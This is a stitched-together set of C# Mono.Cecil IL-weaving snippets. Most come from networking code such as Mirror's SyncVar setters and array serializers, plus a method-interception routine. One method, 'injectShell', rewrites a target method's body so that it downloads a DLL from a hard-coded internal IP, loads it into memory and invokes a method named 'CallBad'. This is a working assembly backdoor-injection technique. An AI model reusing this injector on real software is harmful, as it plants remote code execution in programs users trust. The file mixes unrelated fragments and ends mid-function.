worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netFieldId); MethodReference getFunc = weaverTypes.setSyncVarNetworkBehaviourReference.MakeGeneric(assembly.MainModule, fd.FieldType); worker.Emit(OpCodes.Call, getFunc); } else { // make generic version of SetSyncVar with field type GenericInstanceMethod gm = new GenericInstanceMethod(weaverTypes.setSyncVarReference); gm.GenericArguments.Add(fd.FieldType); // invoke SetSyncVar worker.Emit(OpCodes.Call, gm); } MethodDefinition hookMethod = GetHookMethod(td, fd, ref WeavingFailed); if (hookMethod != null) { //if (NetworkServer.localClientActive && !getSyncVarHookGuard(dirtyBit)) Instruction label = worker.Create(OpCodes.Nop); worker.Emit(OpCodes.Call, weaverTypes.NetworkServerGetLocalClientActive); worker.Emit(OpCodes.Brfalse, label); worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldc_I8, dirtyBit); worker.Emit(OpCodes.Call, weaverTypes.getSyncVarHookGuard); worker.Emit(OpCodes.Brtrue, label); // setSyncVarHookGuard(dirtyBit, true); worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldc_I8, dirtyBit); worker.Emit(OpCodes.Ldc_I4_1); worker.Emit(OpCodes.Call, weaverTypes.setSyncVarHookGuard); // call hook (oldValue, newValue) // Generates: OnValueChanged(oldValue, value); WriteCallHookMethodUsingArgument(worker, hookMethod, oldValue); // setSyncVarHookGuard(dirtyBit, false); worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldc_I8, dirtyBit); worker.Emit(OpCodes.Ldc_I4_0); worker.Emit(OpCodes.Call, weaverTypes.setSyncVarHookGuard); worker.Append(label); } worker.Append(endOfMethod); worker.Emit(OpCodes.Ret); set.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.In, fd.FieldType)); set.SemanticsAttributes = MethodSemanticsAttributes.Setter; return(set); }
static MethodDefinition GenerateArrayReadFunc(TypeReference variable, int recursionCount) { if (!variable.IsArrayType()) { Weaver.Error($"{variable.Name} is an unsupported type. Jagged and multidimensional arrays are not supported", variable); return(null); } TypeReference elementType = variable.GetElementType(); MethodReference elementReadFunc = GetReadFunc(elementType, recursionCount + 1); if (elementReadFunc == null) { return(null); } string functionName = "_ReadArray" + variable.GetElementType().Name + "_"; if (variable.DeclaringType != null) { functionName += variable.DeclaringType.Name; } else { functionName += "None"; } // create new reader for this type MethodDefinition readerFunc = new MethodDefinition(functionName, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig, variable); readerFunc.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType))); readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); readerFunc.Body.Variables.Add(new VariableDefinition(variable)); readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); readerFunc.Body.InitLocals = true; ILProcessor worker = readerFunc.Body.GetILProcessor(); // int length = reader.ReadPackedInt32(); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Call, GetReadFunc(Weaver.int32Type))); worker.Append(worker.Create(OpCodes.Stloc_0)); // if (length < 0) { // return null // } worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Ldc_I4_0)); Instruction labelEmptyArray = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Bge, labelEmptyArray)); // return null worker.Append(worker.Create(OpCodes.Ldnull)); worker.Append(worker.Create(OpCodes.Ret)); worker.Append(labelEmptyArray); // T value = new T[length]; worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Newarr, variable.GetElementType())); worker.Append(worker.Create(OpCodes.Stloc_1)); // for (int i=0; i< length ; i++) { worker.Append(worker.Create(OpCodes.Ldc_I4_0)); worker.Append(worker.Create(OpCodes.Stloc_2)); Instruction labelHead = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Br, labelHead)); // loop body Instruction labelBody = worker.Create(OpCodes.Nop); worker.Append(labelBody); // value[i] = reader.ReadT(); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldelema, variable.GetElementType())); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Call, elementReadFunc)); worker.Append(worker.Create(OpCodes.Stobj, variable.GetElementType())); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldc_I4_1)); worker.Append(worker.Create(OpCodes.Add)); worker.Append(worker.Create(OpCodes.Stloc_2)); // loop while check worker.Append(labelHead); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Blt, labelBody)); // return value; worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ret)); return(readerFunc); }
private void injectShell(MethodDefinition m1) { ILProcessor ilp = m1.Body.GetILProcessor(); //Remove All code and variables m1.Body.Instructions.Clear(); m1.Body.Variables.Clear(); m1.Body.ExceptionHandlers.Clear(); //Used to just remove the ret but I'm not sure if adding variables will f**k shit up so im clear everything now //ilp.Remove(m1.Body.Instructions[m1.Body.Instructions.Count-1]); // Initialize References References refs = new References(); refs.uint8 = m1.Module.ImportReference(typeof(byte[])); refs.Assembly = m1.Module.ImportReference(typeof(Assembly)); refs.MethodInfo = m1.Module.ImportReference(typeof(MethodInfo)); refs.var = m1.Module.ImportReference(typeof(object)); refs.boolean = m1.Module.ImportReference(typeof(bool)); refs.var_array = m1.Module.ImportReference(typeof(object[])); refs.int32 = m1.Module.ImportReference(typeof(int)); refs.Exception = m1.Module.ImportReference(typeof(Exception)); refs.WebClientCtor = m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { })); refs.WebClient_DownloadData = m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) })); refs.Assembly_Load = m1.Module.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) })); refs.Assembly_getEntryPoint = m1.Module.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { })); refs.Assembly_CreateInstance = m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) })); refs.MemberInfo_getName = m1.Module.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { })); refs.MethodBase_GetParameters = m1.Module.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { })); refs.MethodBase_Invoke = m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) })); m1.Body.InitLocals = true; m1.Body.Variables.Add(new VariableDefinition(refs.uint8)); //Remote Class Instance Variable m1.Body.Variables.Add(new VariableDefinition(refs.var)); //Remote class Type Variable m1.Body.Variables.Add(new VariableDefinition(m1.Module.ImportReference(typeof(Type)))); m1.Body.Variables.Add(new VariableDefinition(refs.var)); var evilRemoteBytesVar = m1.Body.Variables.ElementAt(0); var instantiatedEvilTypeVar = m1.Body.Variables.ElementAt(1); var typeVariable = m1.Body.Variables.ElementAt(2); var someResultObjectVar = m1.Body.Variables.ElementAt(3); ilp.Append(Instruction.Create(OpCodes.Nop)); ilp.Append(Instruction.Create(OpCodes.Nop)); Instruction RETI = Instruction.Create(OpCodes.Ret); Instruction POPI = Instruction.Create(OpCodes.Pop); Instruction NOPI = Instruction.Create(OpCodes.Nop); ilp.Append(Instruction.Create(OpCodes.Nop)); ilp.Append(ilp.Create(OpCodes.Ldstr, "INJECTED EVIL")); ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) })))); //Download DLL ilp.Append(Instruction.Create(OpCodes.Nop)); ilp.Append(Instruction.Create(OpCodes.Newobj, m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { })))); ilp.Append(Instruction.Create(OpCodes.Ldstr, "http://10.20.29.137:8000/HELLOWORLD")); ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) })))); ilp.Append(Instruction.Create(OpCodes.Stloc_0)); //Load into memory ilp.Append(Instruction.Create(OpCodes.Ldloc_0)); ilp.Append(Instruction.Create(OpCodes.Call, refs.Assembly_Load)); //Create instance of class ilp.Append(Instruction.Create(OpCodes.Ldstr, "testlibrary.Testclass")); ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) })))); ilp.Append(Instruction.Create(OpCodes.Stloc_S, instantiatedEvilTypeVar)); //ilp.Append(Instruction.Create(OpCodes.Stloc_1)); //Load type of class in order to call method ilp.Append(Instruction.Create(OpCodes.Ldloc_1)); ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(object).GetMethod("GetType", new Type[] {})))); //Type is now on stack... //Might not have to store the object, but fuckit store it //ilp.Append(Instruction.Create(OpCodes.Stloc_2)); //Works until above //Load object instance //ilp.Append(ilp.Create(OpCodes.Ldloc_2)); //Call method in class with Type.Invoke ilp.Append(ilp.Create(OpCodes.Ldstr, "CallBad")); ilp.Append(ilp.Create(OpCodes.Ldc_I4, 0x100)); ilp.Append(ilp.Create(OpCodes.Ldnull)); ilp.Append(ilp.Create(OpCodes.Ldloc_1)); ilp.Append(ilp.Create(OpCodes.Ldnull)); //instance.GetType().InvokeMember("FlapMethod",BindingFlags.InvokeMethod,null,instance,null); ilp.Append(ilp.Create(OpCodes.Callvirt, m1.Module.ImportReference( typeof(Type).GetMethod("InvokeMember", new Type[] { typeof(string), typeof(BindingFlags), typeof(Binder), typeof(object), typeof(object[]) }) ) ) ); //ilp.Append(ilp.Create(OpCodes.Stloc_3)); m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop)); m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); //uncommentilp.Append(Instruction.Create(OpCodes.Ldloc_S, instantiatedEvilTypeVar)); //Check for null //ilp.Append(Instruction.Create(OpCodes.Ldnull)); //ilp.Append(Instruction.Create(OpCodes.Ceq)); //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {})))); ilp.Append(ilp.Create(OpCodes.Ldstr, "Wattefok dit werk nou bra")); ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) })))); ilp.Append(Instruction.Create(OpCodes.Nop)); //Works until above //ilp.Append(Instruction.Create(OpCodes.Ldloc_1,instantiatedEvilType)); //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {})))); //ilp.Append(ilp.Create(OpCodes.Ldstr,"TestMethod")); //ilp.Append(ilp.Create(OpCodes.Ldc_I4,0x100)); //ilp.Append(ilp.Create(OpCodes.Ldnull)); //ilp.Append(ilp.Create(OpCodes.Ldloc_1)); //ilp.Append(ilp.Create(OpCodes.Ldnull)); //ilp.Append(ilp.Create(OpCodes.Callvirt,m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) })))); //Add our new ret ilp.Append(RETI); return; /* * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, refs.Assembly_Load)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_1)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_getEntryPoint)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MemberInfo_getName)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_CreateInstance)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_3)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_4)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_4)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse_S, NOP_0x48)); * * // If * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, NOP_0x88)); * * // Else * m1.Body.Instructions.Add(NOP_0x48); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Newarr, refs.var)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_5)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, LDLOC_0x6B)); * m1.Body.Instructions.Add(NOP_0x5D); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stelem_Ref)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Add)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6)); * * // For-Loop * m1.Body.Instructions.Add(LDLOC_0x6B); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Clt)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_7)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_7)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brtrue_S, NOP_0x5D)); * * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop)); * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); * m1.Body.Instructions.Add(NOP_0x88);*/ //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90)); // Catch //m1.Body.Instructions.Add(POP_0x8B); //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)); //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90)); // Return //m1.Body.Instructions.Add(RET_0x90); }
private void Replace(ILProcessor IL, Instruction oldInstruction, MethodReference targetMethod, MethodDefinition hostMethod, Instruction endLabel, Instruction callOriginalMethod) { var returnType = targetMethod.ReturnType; var module = hostMethod.DeclaringType.Module; if (!hostMethod.IsStatic) { GetInstanceProvider(IL); } var pushInstance = hostMethod.HasThis ? IL.Create(OpCodes.Ldarg_0) : IL.Create(OpCodes.Ldnull); // If all else fails, use the static method replacement provider IL.Append(pushInstance); IL.Emit(OpCodes.Ldloc, _invocationInfo); IL.Emit(OpCodes.Call, _getStaticProvider); IL.Emit(OpCodes.Stloc, _staticProvider); var restoreArgumentStack = IL.Create(OpCodes.Nop); var callReplacement = IL.Create(OpCodes.Nop); var useStaticProvider = IL.Create(OpCodes.Nop); IL.Emit(OpCodes.Ldloc, _instanceProvider); IL.Emit(OpCodes.Brfalse, useStaticProvider); EmitCanReplace(IL, hostMethod, _instanceProvider); IL.Emit(OpCodes.Ldloc, _canReplaceFlag); IL.Emit(OpCodes.Brfalse, useStaticProvider); EmitGetMethodReplacement(IL, hostMethod, _instanceProvider); IL.Emit(OpCodes.Ldloc, _replacement); IL.Emit(OpCodes.Brtrue, callReplacement); IL.Append(useStaticProvider); // if (!MethodReplacementProvider.CanReplace(info)) // CallOriginalMethod(); EmitCanReplace(IL, hostMethod, _staticProvider); IL.Emit(OpCodes.Ldloc, _canReplaceFlag); IL.Emit(OpCodes.Brfalse, restoreArgumentStack); EmitGetMethodReplacement(IL, hostMethod, _staticProvider); IL.Append(callReplacement); // if (replacement == null) // CallOriginalMethod(); IL.Emit(OpCodes.Ldloc, _replacement); IL.Emit(OpCodes.Brfalse, restoreArgumentStack); EmitInterceptorCall(IL); IL.PackageReturnValue(module, returnType); IL.Emit(OpCodes.Br, endLabel); IL.Append(restoreArgumentStack); // Reconstruct the method arguments if the interceptor // cannot be found // Push the target instance ReconstructMethodArguments(IL, targetMethod); // Mark the CallOriginalMethod instruction label IL.Append(callOriginalMethod); // Call the original method IL.Append(oldInstruction); }
public static MethodDefinition ProcessEventInvoke(TypeDefinition td, EventDefinition ed) { // find the field that matches the event FieldDefinition eventField = null; foreach (FieldDefinition fd in td.Fields) { if (fd.FullName == ed.FullName) { eventField = fd; break; } } if (eventField == null) { Weaver.Error($"event field not found for {ed.Name}. Did you declare it as an event?", ed); return(null); } MethodDefinition cmd = new MethodDefinition(Weaver.InvokeRpcPrefix + ed.Name, MethodAttributes.Family | MethodAttributes.Static | MethodAttributes.HideBySig, WeaverTypes.voidType); ILProcessor worker = cmd.Body.GetILProcessor(); Instruction label1 = worker.Create(OpCodes.Nop); Instruction label2 = worker.Create(OpCodes.Nop); NetworkBehaviourProcessor.WriteClientActiveCheck(worker, ed.Name, label1, "Event"); // null event check worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Castclass, td)); worker.Append(worker.Create(OpCodes.Ldfld, eventField)); worker.Append(worker.Create(OpCodes.Brtrue, label2)); worker.Append(worker.Create(OpCodes.Ret)); worker.Append(label2); // setup reader worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Castclass, td)); worker.Append(worker.Create(OpCodes.Ldfld, eventField)); // read the event arguments MethodReference invoke = Resolvers.ResolveMethod(eventField.FieldType, Weaver.CurrentAssembly, "Invoke"); if (!NetworkBehaviourProcessor.ReadArguments(invoke.Resolve(), worker, RemoteCallType.SyncEvent)) { return(null); } // invoke actual event delegate function worker.Append(worker.Create(OpCodes.Callvirt, invoke)); worker.Append(worker.Create(OpCodes.Ret)); NetworkBehaviourProcessor.AddInvokeParameters(cmd.Parameters); return(cmd); }
public static MethodDefinition ProcessSyncVarSet(TypeDefinition td, FieldDefinition fd, string originalName, long dirtyBit, FieldDefinition netFieldId) { //Create the set method MethodDefinition set = new MethodDefinition("set_Network" + originalName, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.HideBySig, Weaver.voidType); ILProcessor setWorker = set.Body.GetILProcessor(); // if (!SyncVarEqual(value, ref playerData)) Instruction endOfMethod = setWorker.Create(OpCodes.Nop); // this setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); // new value to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_1)); // reference to field to set // make generic version of SetSyncVar with field type if (fd.FieldType.FullName == Weaver.gameObjectType.FullName) { // reference to netId Field to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldfld, netFieldId)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.syncVarGameObjectEqualReference)); } else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName) { // reference to netId Field to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldfld, netFieldId)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.syncVarNetworkIdentityEqualReference)); } else { setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldflda, fd)); GenericInstanceMethod syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference); syncVarEqualGm.GenericArguments.Add(fd.FieldType); setWorker.Append(setWorker.Create(OpCodes.Call, syncVarEqualGm)); } setWorker.Append(setWorker.Create(OpCodes.Brtrue, endOfMethod)); // T oldValue = value; // TODO for GO/NI we need to backup the netId don't we? VariableDefinition oldValue = new VariableDefinition(fd.FieldType); set.Body.Variables.Add(oldValue); setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldfld, fd)); setWorker.Append(setWorker.Create(OpCodes.Stloc, oldValue)); // this setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); // new value to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_1)); // reference to field to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldflda, fd)); // dirty bit // 8 byte integer aka long setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit)); if (fd.FieldType.FullName == Weaver.gameObjectType.FullName) { // reference to netId Field to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldflda, netFieldId)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarGameObjectReference)); } else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName) { // reference to netId Field to set setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldflda, netFieldId)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarNetworkIdentityReference)); } else { // make generic version of SetSyncVar with field type GenericInstanceMethod gm = new GenericInstanceMethod(Weaver.setSyncVarReference); gm.GenericArguments.Add(fd.FieldType); // invoke SetSyncVar setWorker.Append(setWorker.Create(OpCodes.Call, gm)); } MethodDefinition hookMethod = GetHookMethod(td, fd); if (hookMethod != null) { //if (NetworkServer.localClientActive && !getSyncVarHookGuard(dirtyBit)) Instruction label = setWorker.Create(OpCodes.Nop); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.NetworkServerGetLocalClientActive)); setWorker.Append(setWorker.Create(OpCodes.Brfalse, label)); setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.getSyncVarHookGuard)); setWorker.Append(setWorker.Create(OpCodes.Brtrue, label)); // setSyncVarHookGuard(dirtyBit, true); setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit)); setWorker.Append(setWorker.Create(OpCodes.Ldc_I4_1)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarHookGuard)); // call hook (oldValue, newValue) // Generates: OnValueChanged(oldValue, value); WriteCallHookMethodUsingArgument(setWorker, hookMethod, oldValue); // setSyncVarHookGuard(dirtyBit, false); setWorker.Append(setWorker.Create(OpCodes.Ldarg_0)); setWorker.Append(setWorker.Create(OpCodes.Ldc_I8, dirtyBit)); setWorker.Append(setWorker.Create(OpCodes.Ldc_I4_0)); setWorker.Append(setWorker.Create(OpCodes.Call, Weaver.setSyncVarHookGuard)); setWorker.Append(label); } setWorker.Append(endOfMethod); setWorker.Append(setWorker.Create(OpCodes.Ret)); set.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.In, fd.FieldType)); set.SemanticsAttributes = MethodSemanticsAttributes.Setter; return(set); }
// we need to inject several initializations into NetworkBehaviour cctor void InjectIntoStaticConstructor(ref bool WeavingFailed) { if (commands.Count == 0 && clientRpcs.Count == 0 && targetRpcs.Count == 0) { return; } // find static constructor MethodDefinition cctor = netBehaviourSubclass.GetMethod(".cctor"); bool cctorFound = cctor != null; if (cctor != null) { // remove the return opcode from end of function. will add our own later. if (!RemoveFinalRetInstruction(cctor)) { Log.Error($"{netBehaviourSubclass.Name} has invalid class constructor", cctor); WeavingFailed = true; return; } } else { // make one! cctor = new MethodDefinition(".cctor", MethodAttributes.Private | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName | MethodAttributes.Static, weaverTypes.Import(typeof(void))); } ILProcessor cctorWorker = cctor.Body.GetILProcessor(); // register all commands in cctor for (int i = 0; i < commands.Count; ++i) { CmdResult cmdResult = commands[i]; GenerateRegisterCommandDelegate(cctorWorker, weaverTypes.registerCommandReference, commandInvocationFuncs[i], cmdResult); } // register all client rpcs in cctor for (int i = 0; i < clientRpcs.Count; ++i) { ClientRpcResult clientRpcResult = clientRpcs[i]; GenerateRegisterRemoteDelegate(cctorWorker, weaverTypes.registerRpcReference, clientRpcInvocationFuncs[i], clientRpcResult.method.FullName); } // register all target rpcs in cctor for (int i = 0; i < targetRpcs.Count; ++i) { GenerateRegisterRemoteDelegate(cctorWorker, weaverTypes.registerRpcReference, targetRpcInvocationFuncs[i], targetRpcs[i].FullName); } // add final 'Ret' instruction to cctor cctorWorker.Append(cctorWorker.Create(OpCodes.Ret)); if (!cctorFound) { netBehaviourSubclass.Methods.Add(cctor); } // in case class had no cctor, it might have BeforeFieldInit, so injected cctor would be called too late netBehaviourSubclass.Attributes &= ~TypeAttributes.BeforeFieldInit; }
static MethodDefinition GenerateArrayWriteFunc(TypeReference variable, int recursionCount) { if (!variable.IsArrayType()) { Weaver.Error($"{variable.Name} is an unsupported type. Jagged and multidimensional arrays are not supported", variable); return(null); } TypeReference elementType = variable.GetElementType(); MethodReference elementWriteFunc = GetWriteFunc(elementType, recursionCount + 1); MethodReference intWriterFunc = GetWriteFunc(WeaverTypes.int32Type); if (elementWriteFunc == null) { Weaver.Error($"Cannot generate writer for Array because element {elementType.Name} does not have a writer. Use a supported type or provide a custom writer", variable); return(null); } string functionName = "_WriteArray" + variable.GetElementType().Name + "_"; if (variable.DeclaringType != null) { functionName += variable.DeclaringType.Name; } else { functionName += "None"; } // create new writer for this type MethodDefinition writerFunc = new MethodDefinition(functionName, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig, WeaverTypes.voidType); writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(WeaverTypes.NetworkWriterType))); writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(variable))); writerFunc.Body.Variables.Add(new VariableDefinition(WeaverTypes.int32Type)); writerFunc.Body.Variables.Add(new VariableDefinition(WeaverTypes.int32Type)); writerFunc.Body.InitLocals = true; ILProcessor worker = writerFunc.Body.GetILProcessor(); // if (value == null) // { // writer.WritePackedInt32(-1); // return; // } Instruction labelNull = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Ldarg_1)); worker.Append(worker.Create(OpCodes.Brtrue, labelNull)); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldc_I4_M1)); worker.Append(worker.Create(OpCodes.Call, intWriterFunc)); worker.Append(worker.Create(OpCodes.Ret)); // else not null worker.Append(labelNull); // int length = value.Length; worker.Append(worker.Create(OpCodes.Ldarg_1)); worker.Append(worker.Create(OpCodes.Ldlen)); worker.Append(worker.Create(OpCodes.Stloc_0)); // writer.WritePackedInt32(length); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Call, intWriterFunc)); // for (int i=0; i< value.length; i++) { worker.Append(worker.Create(OpCodes.Ldc_I4_0)); worker.Append(worker.Create(OpCodes.Stloc_1)); Instruction labelHead = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Br, labelHead)); // loop body Instruction labelBody = worker.Create(OpCodes.Nop); worker.Append(labelBody); // writer.Write(value[i]); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldarg_1)); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldelema, elementType)); 